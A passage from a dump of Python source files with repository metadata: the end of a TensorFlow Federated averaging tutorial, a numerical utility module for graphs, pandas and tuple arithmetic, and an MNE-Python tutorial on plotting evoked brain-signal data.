well.\n\"\"\"\n\nprint('initial_model test loss =',\n      federated_eval(initial_model, federated_test_data))\nprint('trained_model test loss =', federated_eval(model, federated_test_data))\n\n\"\"\"This concludes our tutorial.\n\nOf course, our simplified example doesn't reflect a number of things you'd need\nto do in a more realistic scenario - for example, we haven't computed metrics\nother than loss. We encourage you to study\n[the implementation](https://github.com/tensorflow/federated/blob/master/tensorflow_federated/python/learning/federated_averaging.py)\nof federated averaging in `tff.learning` as a more complete example, and as a\nway to demonstrate some of the coding practices we'd like to encourage.\n\"\"\"", "meta": {"hexsha": "b24604999e40cd9fc5e7594fbcc6d573ac3b6f83", "size": 26496, "ext": "py", "lang": "Python", "max_stars_repo_path": "tff_tutorials/custom_federated_algorithms,_part_2_implementing_federated_averaging.py", "max_stars_repo_name": "luke-who/TFF", "max_stars_repo_head_hexsha": "fe9f44a504bc51b603a3ab9a181148da0aa9612f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-10-19T13:55:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-11T11:26:05.000Z", "max_issues_repo_path": "tff_tutorials/custom_federated_algorithms,_part_2_implementing_federated_averaging.py", "max_issues_repo_name": "luke-who/TFF", "max_issues_repo_head_hexsha": "fe9f44a504bc51b603a3ab9a181148da0aa9612f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tff_tutorials/custom_federated_algorithms,_part_2_implementing_federated_averaging.py", "max_forks_repo_name": "luke-who/TFF", "max_forks_repo_head_hexsha": "fe9f44a504bc51b603a3ab9a181148da0aa9612f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.0612244898, "max_line_length": 339, "alphanum_fraction": 0.7681536836, "include": true, "reason": "import numpy", "num_tokens": 6264, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.12252322213041654, "lm_q1q2_score": 0.05553510208763225}}
{"text": "\"\"\"\r\nCollection of algorithms (geared towards abstract math and numerical problems)\r\n\r\nPicked up from MA and now continued from Cooling Singapore. Oct 2019\r\n\"\"\"\r\n\r\n# This control flag is used to skip sections if their prerequisite modules are not available, so that DK_Numerical\r\n# can be imported more flexibly with regards to the environment.\r\n\r\n_control = {section: True for section in ('NetworkX', 'Pandas', 'numpy')}\r\n\r\ntry:\r\n\timport networkx as nx\r\nexcept ModuleNotFoundError:\r\n\t_control['NetworkX'] = False\r\n\r\ntry:\r\n\timport pandas as pd\r\nexcept ModuleNotFoundError:\r\n\t_control['Pandas'] = False\r\n\r\ntry:\r\n\timport numpy as np\r\nexcept ModuleNotFoundError:\r\n\t_control['numpy'] = False\r\n\r\nimport warnings\r\n\r\n\r\n# -------------------------------------------- NetworkX ------------------------------------------------ #\r\nif _control['NetworkX']:\r\n\tdef get_treeroot(tree, guess=None):\r\n\t\t\"\"\"\r\n\t\tFinds the root node of a NetworkX DiGraph tree.\r\n\r\n\t\tArgs:\r\n\t\t\ttree: NetworkX DiGraph tree\r\n\t\t\tguess: Best bet for which node is the root. The closer this node is to the root, the faster the search.\r\n\r\n\t\tReturns:\r\n\t\t\tRoot node of tree.\r\n\t\t\"\"\"\r\n\r\n\t\t# Step 1: Param checks\r\n\t\tif not isinstance(tree, nx.DiGraph):\r\n\t\t\traise TypeError(\"Must pass a NetworkX Digraph to parameter 'tree.'\")\r\n\r\n\t\tif not nx.is_tree(tree):\r\n\t\t\traise ValueError(\"Passed graph is not a tree.\")\r\n\r\n\t\tif guess is None:\r\n\t\t\tguess = list(tree.nodes)[0]\r\n\t\telse:\r\n\t\t\tif guess not in tree:\r\n\t\t\t\twarnings.warn(\"The guessed root node is not in the tree.\")\r\n\t\t\t\tguess = list(tree.nodes)[0]\r\n\r\n\r\n\t\t# Step 2: Follow predecessors until you find the root\r\n\t\troot = guess\r\n\t\tcounter = 1\r\n\t\tn_nodes = len(tree)\r\n\r\n\t\t# This is a redundant loop, but Iterator Protocol + NetworkX guarantees that this is unnecessary.\r\n\t\twhile counter <= n_nodes:\r\n\t\t\ttry:\r\n\t\t\t\troot = next(tree.predecessors(root))\r\n\t\t\t\tcounter += 1\r\n\t\t\texcept StopIteration: # raised for the root node (no predecessors)\r\n\t\t\t\tbreak\r\n\r\n\r\n\t\treturn root\r\n\r\n\r\n\tdef compare_trees(T1, T2):\r\n\t\t\"\"\"\r\n\t\tReturns true if the trees are IDENTICAL (isomorphism is necessary but insufficient), and False otherwise.\r\n\r\n\t\tTwo trees are identical iff:\r\n\t\t\t1) same set of nodes\r\n\t\t\t2) same set of branches\r\n\t\t\t3) same branch params\r\n\t\t\t(for now, assumed no node params)\r\n\r\n\t\tDEVELOPER'S CORNER:\r\n\t\t\tI learned that dictionaries can be tested for equality via ==. There's also talk on StackOverflow about this\r\n\t\t\tequality test holding for nested dicts (and other nesting combinations with other data structures).\r\n\r\n\t\t\"\"\"\r\n\t\tif not isinstance(T1, nx.DiGraph) or not isinstance(T2, nx.DiGraph):\r\n\t\t\traise TypeError(\"This function only accepts NetworkX DiGraphs.\")\r\n\r\n\t\tif not nx.faster_could_be_isomorphic(T1, T2):\r\n\t\t\treturn False\r\n\r\n\t\t# Check 1: Compare nodes\r\n\t\tif set(T1) != set(T2):\r\n\t\t\treturn False\r\n\r\n\t\t# Check 2: Compare branches\r\n\t\tbr1 = set(br for br in T1.edges())\r\n\t\tbr2 = set(br for br in T2.edges())\r\n\r\n\t\tif br1 != br2:\r\n\t\t\treturn False\r\n\r\n\t\t# Check 3: Compare branch parameters (final test)\r\n\t\treturn all([T1.edges[up, down] == T2.edges[up, down] for up, down in br1])\r\n\r\n\r\n# -------------------------------------------- Pandas ------------------------------------------------ #\r\nif _control['Pandas']:\r\n\tdef empty_df_with_dtypes(col_dtype: dict):\r\n\t\t\"\"\"Initializes a pandas DataFrame with NO ROWS, but with col labels AND datatypes. The DataFrame constructor only\r\n\t\tlets you specify one datatype for all the columns, so this function fills that gap.\r\n\r\n\t\tArgs:\r\n\t\t\tcol_dtype: as dictionary of 'column label':'numpy dtype' pairs\r\n\r\n\t\tNote: This solution is adapted from the one proposed in stackoverflow,\r\n\t\thttps://stackoverflow.com/questions/36462257/create-empty-dataframe-in-pandas-specifying-column-types/48374031#48374031\r\n\r\n\r\n\t\tReturns:\r\n\t\t\tEmpty DataFrame, with columns + dtype specified.\r\n\r\n\t\t\"\"\"\r\n\t\tif not isinstance(col_dtype, dict):\r\n\t\t\traise TypeError(\"Pls. pass a dictionary of 'column label':'numpy dtype' pairs.\")\r\n\r\n\t\tif len(col_dtype) == 0:\r\n\t\t\traise RuntimeError(\"Requested table has no columns.\")\r\n\r\n\t\tdf = pd.DataFrame()\r\n\r\n\t\tfor c, d in col_dtype.items():\r\n\t\t\tdf[c] = pd.Series(dtype=d)\r\n\r\n\t\treturn df\r\n\r\n\r\n\tdef is_xymonotonic(x, y, slope='pos', getdf=False, as_assertion=False):\r\n\t\t\"\"\"Checks if the given relationship <x, y> is monotonic in the specified direction ('pos' or 'neg' slope). A\r\n\t\tmonotonic line is one whose slope is consistently either non-neg or non-pos. Pass vectors (iterables) to x\r\n\t\tand y. x has to be strictly increasing, whereas y can have repeating subsequent points (flat slope).\r\n\r\n\t\tReturns a tuple (bool, list):\r\n\t\t\tBool is True if monotonic in the specified direction.\r\n\r\n\t\t\tList is empty if bool is True. Otherwise, contains the indices (0-indexed range is assigned to the data)\r\n\r\n\t\t\tif getdf is True, then a third item is returned as a pandas DataFrame of vectors x and y, with column\r\n\t\t\tnames as 'x' and 'y'.\r\n\r\n\t\tTo assert monotonicity:\r\n\t\t\tassert is_xymonotonic(x, y, slope='pos')[0]\r\n\r\n\t\tTo assert monotinicity internally\r\n\t\t\tis_xymonotonic(x, y, slope='pos', as_assertion=True)\r\n\r\n\t\t\"\"\"\r\n\r\n\t\t# ----------------------------------------------------------------------- Checks\r\n\t\tlength = len(x)\r\n\t\tif length != len(y):\r\n\t\t\traise ValueError(\"Vectors x and y have to be of the same length.\")\r\n\t\tif length < 3:\r\n\t\t\traise ValueError(\"Vectors x and y must have at least 3 points.\")\r\n\r\n\r\n\r\n\t\t# ----------------------------------------------------------------------- Convert to Series\r\n\t\t# x2, y2 is the same data but shifted one index forward wrt x1 and y1  -- old implementation\r\n\t\tx = pd.Series(data=(pt for pt in x))\r\n\t\t# x2 = pd.Series(data=x1.values, index=pd.RangeIndex(-1, length-1))\r\n\r\n\t\ty = pd.Series(data=(pt for pt in y))\r\n\t\t# y2 = pd.Series(data=y1.values, index=pd.RangeIndex(-1, length-1))\r\n\r\n\t\t# ----------------------------------------------------------------------- Calc dx and dy\r\n\t\t# dx = x2-x1\r\n\t\tdx = x.diff()\r\n\t\tdx = dx.loc[dx.notna()]\r\n\r\n\t\t# dy = y2-y1\r\n\t\tdy = y.diff()\r\n\t\tdy = dy.loc[dy.notna()]\r\n\r\n\t\t# Check that all dx > 0\r\n\t\tLf_invalid_dx = dx <= 0\r\n\t\tif Lf_invalid_dx.any():\r\n\t\t\t# Collect indeces of points (+next point) where dx <= 0\r\n\t\t\tinvalid_idx = Lf_invalid_dx.loc[Lf_invalid_dx].index\r\n\t\t\tinvalid_idx_withadj = pd.Index(set(invalid_idx).union(invalid_idx+1))\r\n\r\n\t\t\tprint(\"x vector can only be increasing. Pls. view the slice: \\n{}\".format(x.loc[invalid_idx_withadj]))\r\n\t\t\traise ValueError(invalid_idx_withadj)\r\n\r\n\t\t# ----------------------------------------------------------------------- Check if monotonic\r\n\t\tsign = {'pos': 1}.get(slope, -1)\r\n\t\t# sign * dy must be >= 0 for all entries to fulfill the specified monotonicity\r\n\t\tLf_failed = sign * dy < 0\r\n\r\n\t\treturned_value = (not any(Lf_failed), list(Lf_failed.loc[Lf_failed].index))\r\n\r\n\t\tif as_assertion:\r\n\t\t\tassert returned_value[0], returned_value[1]\r\n\r\n\t\tif getdf:\r\n\t\t\treturned_value += (pd.DataFrame({'x': x, 'y': y}), )\r\n\t\treturn returned_value\r\n\r\n\r\n\tdef sortxy(x, y, ascending=True):\r\n\t\t\"\"\"Given vectors x and y (as iterables that are ordered and 1:1), sortxy() sorts these vectors in ascending\r\n\t\tor descending order (via param 'ascending'), and returns them in a DataFrame with a range index. No check is\r\n\t\tdone if x has repeating values.\"\"\"\r\n\t\t# todo consider keeping the original index, if ever necessary\r\n\r\n\t\t# ----------------------------------------------------------------------- Checks\r\n\t\tlength = len(x)\r\n\t\tif length != len(y):\r\n\t\t\traise ValueError(\"Vectors x and y have to be of the same length.\")\r\n\r\n\t\t# ----------------------------------------------------------------------- Convert to Series\r\n\t\t# Range index here stores the mapping x --> y\r\n\t\tSerx = pd.Series(data=(pt for pt in x))\r\n\t\tSery = pd.Series(data=(pt for pt in y))\r\n\r\n\t\t# ----------------------------------------------------------------------- Sort and return df\r\n\t\tSerx_sorted = Serx.sort_values(ascending=ascending)\r\n\r\n\t\treturn pd.DataFrame({\r\n\t\t\t'x': Serx_sorted.values,\r\n\t\t\t'y': Sery.loc[Serx_sorted.index].values,\r\n\t\t})\r\n\r\n\r\n# -------------------------------------------- numpy ------------------------------------------------ #\r\nif _control['numpy']:\r\n\tdef clip(f, lb=None, ub=None):\r\n\t\t\"\"\"Return a clipped version of callable f(). This is the counterpart of numpy.clip(),\r\n\t\twhich only works on explicit arrays, for callables.\r\n\r\n\t\tlb and ub follow the same requirements as in their counterparts in numpy.clip().\r\n\t\t\"\"\"\r\n\t\tif ub < lb:\r\n\t\t\traise ValueError(\"ub < lb\")\r\n\t\treturn lambda x: np.clip(f(x), lb, ub)\r\n\r\n\r\n\tdef apply_f_every_n(arr, n, func=np.sum, res_dtype='f8'):\r\n\t\t\"\"\"Apply function func() to every n elements of array. The length of array arr must be a multiple of n,\r\n\t\tbut this is not checked (last operation would fall short of elements w/o raising an exception).\r\n\r\n\r\n\t\tsample usage:\r\n\t\t\t# Downscale the resolution by half, while getting the mean of the data points\r\n\t\t\tapply_f_every_n(ser.values, 2, np.mean)\r\n\r\n\t\t\t# You can use this via DataFrame.apply(). Here, we are changing a 24-h, half-hourly dataset into an hourly one.\r\n\t\t\tdf_24h_hh.apply(apply_f_every_n, axis=0, args=(2, np.mean))\r\n\t\t\"\"\"\r\n\t\tstart_idxs = np.arange(0, arr.shape[0], n)\r\n\r\n\t\treturn np.fromiter((func(arr[idx:idx + n]) for idx in start_idxs), dtype=res_dtype)\r\n\r\n\r\n# -------------------------------------------- Uncategorized Python ------------------------------------------------ #\r\ndef get_dictvals(mydict):\r\n\t\"\"\"This function recursively gets all non-dict items in a hierarchical dict data structure. The order of the items have no intended meaning.\r\n\r\n\te.g.\r\n\t\tmyheir = {\r\n\t\t\t0: '0.0',\r\n\t\t\t1: '0.1',\r\n\t\t\t2: {0: '1.0', 1: '1.1'},\r\n\t\t\t3: {0: '1.2', 1: {0: '2.0', 1: '2.1', 2: {0: '3.0'}, 3:'2.2'}},\r\n\t\t\t4: {0: '1.3', 1: '1.4'},\r\n\t\t\t5: '0.2',\r\n\t\t}\r\n\r\n\tget_dictvals(myheir)\r\n\t>> ['0.0', '0.1', '1.0', '1.1', '1.2', '2.0', '2.1', '3.0', '2.2', '1.3', '1.4', '0.2']\r\n\r\n\t\"\"\"\r\n\tvalues = []\r\n\r\n\tfor val in mydict.values():\r\n\t\tif isinstance(val, dict):\r\n\t\t\tvalues.extend(get_dictvals(val))\r\n\t\telse:\r\n\t\t\tvalues.append(val)\r\n\treturn values\r\n\r\n\r\n\r\n# -------------------------------------------- Tuple Arithmetic ------------------------------------------------ #\r\n# FOR DEVELOPMENT:\r\n#    1) Sequences of tuples should be contained in sets.\r\n#\r\n\r\ndef totuple(item):\r\n\tif isinstance(item, (str, int)):\r\n\t\treturn tuple([item])\r\n\telse:\r\n\t\treturn tuple(item)\r\n\r\n\r\ndef tupsum(*addends, strAsOne=True):\r\n\t\"\"\"\r\n\tPerforms a tuple addition on an indefinite number of tuples. Arguments must be tuple-coercibles (they must be\r\n\titerables or iterators), or scalars (i.e. tuple([arg]) succeeds).\r\n\r\n\tReturns:\r\n\t\tA tuple of the tuple sum of the addends.\r\n\r\n\tDEVELOPER'S CORNER:\r\n\t\tTuples support concatenation, ie (1) + (0) = (1,0), which is really what tupple addition is in the context of\r\n\t\tthe Cartesian product.\r\n\r\n\t\ttuple() returns an empty tuple, which guarantees that 'sum' will support concatenation.\r\n\r\n\t\tIf an addend is not a tuple, tuple() coerces it (same elements).\r\n\t\tIf an addend cannot be coerced directly, then it is expected to be a scalar (usu. numeric or string),\r\n\t\tand thus containing it via tuple([a]) should work.\r\n\t\"\"\"\r\n\tsum = tuple()\r\n\r\n\tfor a in addends:\r\n\t\tif type(a) is str and strAsOne:\r\n\t\t\ta = tuple([a])\r\n\t\ttry:\r\n\t\t\tsum = sum + tuple(a)\r\n\t\texcept TypeError:\r\n\t\t\tsum = sum + tuple([a])\r\n\r\n\treturn sum\r\n\r\n\r\ndef tupadd(a, b):\r\n\t\"\"\"\r\n\tPerforms a tuple addition of a and b.\r\n\r\n\tArgs: a and b can either be 1) scalars (i.e. single coordinate) or 2) elementary tuples\r\n\r\n\tAny argument that is a tuple (assumed elementary; i.e. all its elements are scalars) is unpacked as can be seen\r\n\tbelow.\r\n\r\n\tAs far as the author knows, this function cannot be extended to an arbitrary number of addends (by taking a\r\n\tvar-positional parameter), because the statement a = *a is not allowed. To sum an indefinite number of addends,\r\n\tone way to achieve this is by looping every addend pair, much like how tuppi works.\r\n\r\n\tReturns:\r\n\t\tThe tuple sum of a and b (GUARANTEED elementary tuple if a and b are elementary tuples or scalars).\r\n\t\"\"\"\r\n\tif type(a) == tuple and type(b) == tuple:\r\n\t\treturn tuple([*a, *b])\r\n\telif type(a) == tuple:\r\n\t\treturn tuple([*a, b])\r\n\telif type(b) == tuple:\r\n\t\treturn tuple([a, *b])\r\n\telse:\r\n\t\treturn tuple([a, b])\r\n\r\n\r\ndef tuppi(*factors):\r\n\t\"\"\"\r\n\tPerforms a Cartesian product of all of its factors.\r\n\r\n\tArgs:\r\n\t\t*factors: An iterable of tuple-coercibles. If you want a 1-dim tuple, pass it as (a,) and not a.\r\n\r\n\tReturns:\r\n\t\tThe Cartesian product as a tuple.\r\n\r\n\tDEVELOPER'S CORNER:\r\n\t\tIf the factors are all elementary tuples or scalars, the product is GUARANTEED to be an elementary tuple.\r\n\t\tEven if after every iteration of the for factor .. loop, product is contained in a tuple, this container is\r\n\t\t\"opened up\" by the same generator expression come next iteration. The container is opened and new (and more)\r\n\t\telements are repacked in it.\r\n\r\n\t\"\"\"\r\n\t# Require that factors is an iterable of tuple-coercibles\r\n\ttup_factors = [tuple(i) for i in factors]\r\n\r\n\t# init product to 1st factor * 1\r\n\tproduct = tup_factors[0]\r\n\r\n\tfor factor in tup_factors[1:]:\r\n\t\tproduct = tuple(tupadd(a, b) for a in product for b in factor)\r\n\t\t#         RHS is precisely the def'n of the Cartesian Product, product x factor\r\n\r\n\treturn product\r\n\r\n\r\ndef tupsumproduct(tree):\r\n\t\"\"\"\r\n\tThis function performs a sum of products.\r\n\r\n\tArgs:\r\n\t\ttree: dictionary of {iterable of parents : iterable of children}\r\n\r\n\tReturns:\r\n\t\tThe tuple sum of products as a tuple, i.e., sum( keys x values )\r\n\r\n\r\n\tDEVELOPER'S CORNER:\r\n\t\tThis generator expression will iterate through all its for clauses, before stringing them together.\r\n\t\tAs tupadd() is guaranteed to return elementary tuples (so long as arguments are elementary tuples or scalars),\r\n\t\tthe generator produces a sequence of elementary tuples, which are then finally packed in the tuple() constructor.\r\n\t\tI could have used a list(), but using tuple() is safe as tuple(any_tuple) == any_tuple. The external\r\n\t\tcontainer type can be any sequence. I just chose tuples for both this function and tuppi so that the\r\n\t\tcontainers are immutable, if you want to use them directlty.\r\n\r\n\t\"\"\"\r\n\tprm_tuples = {totuple(key): totuple(val) for key, val in tree.items()}\r\n\treturn tuple(tupadd(parent, child) for key, val in prm_tuples.items() for parent in key for child in val)\r\n\t#                                  SUM (of heterogenous key:val mappings)     PRODUCTS (key x val)\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "25dcc1c6c5c66585dff648e8928343d18e5afeab", "size": 14343, "ext": "py", "lang": "Python", "max_stars_repo_path": "DK_Numerical.py", "max_stars_repo_name": "cooling-singapore/genDispatch", "max_stars_repo_head_hexsha": "1b9743928326e55accda162413f0ce1d9ae54093", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "DK_Numerical.py", "max_issues_repo_name": "cooling-singapore/genDispatch", "max_issues_repo_head_hexsha": "1b9743928326e55accda162413f0ce1d9ae54093", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "DK_Numerical.py", "max_forks_repo_name": "cooling-singapore/genDispatch", "max_forks_repo_head_hexsha": "1b9743928326e55accda162413f0ce1d9ae54093", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-03-19T06:41:21.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-19T06:41:21.000Z", "avg_line_length": 33.7482352941, "max_line_length": 142, "alphanum_fraction": 0.6293662414, "include": true, "reason": "import numpy,import networkx", "num_tokens": 3647, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.11920291576401233, "lm_q1q2_score": 0.055417622850978995}}
{"text": "\"\"\"\n=====================\nVisualize Evoked data\n=====================\n\nIn this tutorial we focus on the plotting functions of :class:`mne.Evoked`.\n\"\"\"\nimport os.path as op\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport mne\n\n# sphinx_gallery_thumbnail_number = 9\n\n###############################################################################\n# First we read the evoked object from a file. Check out\n# :ref:`tut_epoching_and_averaging` to get to this stage from raw data.\ndata_path = mne.datasets.sample.data_path()\nfname = op.join(data_path, 'MEG', 'sample', 'sample_audvis-ave.fif')\nevoked = mne.read_evokeds(fname, baseline=(None, 0), proj=True)\nprint(evoked)\n\n###############################################################################\n# Notice that ``evoked`` is a list of :class:`evoked <mne.Evoked>` instances.\n# You can read only one of the categories by passing the argument ``condition``\n# to :func:`mne.read_evokeds`. To make things more simple for this tutorial, we\n# read each instance to a variable.\nevoked_l_aud = evoked[0]\nevoked_r_aud = evoked[1]\nevoked_l_vis = evoked[2]\nevoked_r_vis = evoked[3]\n\n###############################################################################\n# Let's start with a simple one. We plot event related potentials / fields\n# (ERP/ERF). The bad channels are not plotted by default. Here we explicitly\n# set the ``exclude`` parameter to show the bad channels in red. All plotting\n# functions of MNE-python return a handle to the figure instance. When we have\n# the handle, we can customise the plots to our liking.\nfig = evoked_l_aud.plot(exclude=(), time_unit='s')\n\n###############################################################################\n# All plotting functions of MNE-python return a handle to the figure instance.\n# When we have the handle, we can customise the plots to our liking. For\n# example, we can get rid of the empty space with a simple function call.\nfig.tight_layout()\n\n###############################################################################\n# Now we will make it a bit fancier and only use MEG channels. Many of the\n# MNE-functions include a ``picks`` parameter to include a selection of\n# channels. ``picks`` is simply a list of channel indices that you can easily\n# construct with :func:`mne.pick_types`, :func:`mne.pick_channels`,\n# :func:`mne.pick_channels_regexp`, or a list of strings that can be\n# interpreted as channel names or channel types.\n#\n# Using ``spatial_colors=True``, the individual channel lines are color coded\n# to show the sensor positions - specifically, the x, y, and z locations of\n# the sensors are transformed into R, G and B values.\nevoked_l_aud.plot(spatial_colors=True, gfp=True, picks='meg')\n\n###############################################################################\n# Notice the legend on the left. The colors would suggest that there may be two\n# separate sources for the signals. This wasn't obvious from the first figure.\n# Try painting the slopes with left mouse button. It should open a new window\n# with topomaps (scalp plots) of the average over the painted area. There is\n# also a function for drawing topomaps separately.\nevoked_l_aud.plot_topomap(time_unit='s')\n\n###############################################################################\n# By default the topomaps are drawn from evenly spread out points of time over\n# the evoked data. We can also define the times ourselves.\ntimes = np.arange(0.05, 0.151, 0.05)\nevoked_r_aud.plot_topomap(times=times, ch_type='mag', time_unit='s')\n\n###############################################################################\n# Or we can select automatically the peaks.\nevoked_r_aud.plot_topomap(times='peaks', ch_type='mag', time_unit='s')\n\n###############################################################################\n# See :ref:`sphx_glr_auto_examples_visualization_plot_evoked_topomap.py` for\n# more advanced topomap plotting options. You can also take a look at the\n# documentation of :func:`mne.Evoked.plot_topomap` or simply write\n# ``evoked_r_aud.plot_topomap?`` in your Python console to see the different\n# parameters you can pass to this function. Most of the plotting functions also\n# accept ``axes`` parameter. With that, you can customise your plots even\n# further. First we create a set of matplotlib axes in a single figure and plot\n# all of our evoked categories next to each other.\nfig, ax = plt.subplots(1, 5, figsize=(8, 2))\nkwargs = dict(times=0.1, show=False, vmin=-300, vmax=300, time_unit='s')\nevoked_l_aud.plot_topomap(axes=ax[0], colorbar=True, **kwargs)\nevoked_r_aud.plot_topomap(axes=ax[1], colorbar=False, **kwargs)\nevoked_l_vis.plot_topomap(axes=ax[2], colorbar=False, **kwargs)\nevoked_r_vis.plot_topomap(axes=ax[3], colorbar=False, **kwargs)\nfor ax, title in zip(ax[:4], ['Aud/L', 'Aud/R', 'Vis/L', 'Vis/R']):\n    ax.set_title(title)\nplt.show()\n\n###############################################################################\n# Notice that we created five axes, but had only four categories. The fifth\n# axes was used for drawing the colorbar. You must provide room for it when you\n# create this kind of custom plots or turn the colorbar off with\n# ``colorbar=False``. That's what the warnings are trying to tell you. Also, we\n# used ``show=False`` for the three first function calls. This prevents the\n# showing of the figure prematurely. The behavior depends on the mode you are\n# using for your Python session. See https://matplotlib.org/users/shell.html\n# for more information.\n#\n# We can combine the two kinds of plots in one figure using the\n# :func:`mne.Evoked.plot_joint` method of Evoked objects. Called as-is\n# (``evoked.plot_joint()``), this function should give an informative display\n# of spatio-temporal dynamics.\n# You can directly style the time series part and the topomap part of the plot\n# using the ``topomap_args`` and ``ts_args`` parameters. You can pass key-value\n# pairs as a Python dictionary. These are then passed as parameters to the\n# topomaps (:func:`mne.Evoked.plot_topomap`) and time series\n# (:func:`mne.Evoked.plot`) of the joint plot.\n# For an example of specific styling using these ``topomap_args`` and\n# ``ts_args`` arguments, here, topomaps at specific time points\n# (90 and 200 ms) are shown, sensors are not plotted (via an argument\n# forwarded to `plot_topomap`), and the Global Field Power is shown:\nts_args = dict(gfp=True, time_unit='s')\ntopomap_args = dict(sensors=False, time_unit='s')\nevoked_r_aud.plot_joint(title='right auditory', times=[.09, .20],\n                        ts_args=ts_args, topomap_args=topomap_args)\n\n###############################################################################\n# Sometimes, you may want to compare two or more conditions at a selection of\n# sensors, or e.g. for the Global Field Power. For this, you can use the\n# function :func:`mne.viz.plot_compare_evokeds`. The easiest way is to create\n# a  Python dictionary, where the keys are condition names and the values are\n# :class:`mne.Evoked` objects. If you provide lists of :class:`mne.Evoked`\n# objects, such as those for multiple subjects, the grand average is plotted,\n# along with a confidence interval band - this can be used to contrast\n# conditions for a whole experiment.\n# First, we load in the evoked objects into a dictionary, setting the keys to\n# '/'-separated tags (as we can do with event_ids for epochs). Then, we plot\n# with :func:`mne.viz.plot_compare_evokeds`.\n# The plot is styled with dict arguments, again using \"/\"-separated tags.\n# We plot a MEG channel with a strong auditory response.\n#\n# For move advanced plotting using :func:`mne.viz.plot_compare_evokeds`.\n# See also :ref:`sphx_glr_auto_tutorials_plot_metadata_epochs.py`.\nconditions = [\"Left Auditory\", \"Right Auditory\", \"Left visual\", \"Right visual\"]\nevoked_dict = dict()\nfor condition in conditions:\n    evoked_dict[condition.replace(\" \", \"/\")] = mne.read_evokeds(\n        fname, baseline=(None, 0), proj=True, condition=condition)\nprint(evoked_dict)\n\ncolors = dict(Left=\"Crimson\", Right=\"CornFlowerBlue\")\nlinestyles = dict(Auditory='-', visual='--')\npick = evoked_dict[\"Left/Auditory\"].ch_names.index('MEG 1811')\n\nmne.viz.plot_compare_evokeds(evoked_dict, picks=pick, colors=colors,\n                             linestyles=linestyles, split_legend=True)\n\n###############################################################################\n# We can also plot the activations as images. The time runs along the x-axis\n# and the channels along the y-axis. The amplitudes are color coded so that\n# the amplitudes from negative to positive translates to shift from blue to\n# red. White means zero amplitude. You can use the ``cmap`` parameter to define\n# the color map yourself. The accepted values include all matplotlib colormaps.\nevoked_r_aud.plot_image(picks='meg')\n\n###############################################################################\n# Finally we plot the sensor data as a topographical view. In the simple case\n# we plot only left auditory responses, and then we plot them all in the same\n# figure for comparison. Click on the individual plots to open them bigger.\ntitle = 'MNE sample data\\n(condition : %s)'\nevoked_l_aud.plot_topo(title=title % evoked_l_aud.comment,\n                       background_color='k', color=['white'])\nmne.viz.plot_evoked_topo(evoked, title=title % 'Left/Right Auditory/Visual',\n                         background_color='w')\n\n###############################################################################\n# We can also plot the activations as arrow maps on top of the topoplot.\n# The arrows represent an estimation of the current flow underneath the MEG\n# sensors. Here, sample number 175 corresponds to the time of the maximum\n# sensor space activity.\nevoked_l_aud_mag = evoked_l_aud.copy().pick_types(meg='mag')\nmne.viz.plot_arrowmap(evoked_l_aud_mag.data[:, 175], evoked_l_aud_mag.info)\n\n###############################################################################\n# Visualizing field lines in 3D\n# -----------------------------\n# We now compute the field maps to project MEG and EEG data to the MEG helmet\n# and scalp surface.\n#\n# To do this, we need coregistration information. See\n# :ref:`tut_forward` for more details. Here we just illustrate usage.\n\nsubjects_dir = data_path + '/subjects'\ntrans_fname = data_path + '/MEG/sample/sample_audvis_raw-trans.fif'\n\nmaps = mne.make_field_map(evoked_l_aud, trans=trans_fname, subject='sample',\n                          subjects_dir=subjects_dir, n_jobs=1)\n\n# Finally, explore several points in time\nfield_map = evoked_l_aud.plot_field(maps, time=.1)\n\n###############################################################################\n# .. note::\n#     If trans_fname is set to None then only MEG estimates can be visualized.\n", "meta": {"hexsha": "31199f0ddd04c4f6c5c0db61f8d5453585d63ecc", "size": 10751, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/plot_visualize_evoked.py", "max_stars_repo_name": "achilleas-k/mne-python", "max_stars_repo_head_hexsha": "0078e1af13a92ab47498dd167bc5ec73be864427", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-03-22T04:47:45.000Z", "max_stars_repo_stars_event_max_datetime": "2019-03-22T04:47:45.000Z", "max_issues_repo_path": "tutorials/plot_visualize_evoked.py", "max_issues_repo_name": "achilleas-k/mne-python", "max_issues_repo_head_hexsha": "0078e1af13a92ab47498dd167bc5ec73be864427", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2016-06-04T15:28:08.000Z", "max_issues_repo_issues_event_max_datetime": "2016-12-22T14:23:13.000Z", "max_forks_repo_path": "tutorials/plot_visualize_evoked.py", "max_forks_repo_name": "jeythekey/mne-python", "max_forks_repo_head_hexsha": "5778168e9eaf597997fdd638c712fa3d01326fbc", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 52.7009803922, "max_line_length": 79, "alphanum_fraction": 0.654171705, "include": true, "reason": "import numpy", "num_tokens": 2473, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490155654565424, "lm_q2_score": 0.11920291576401235, 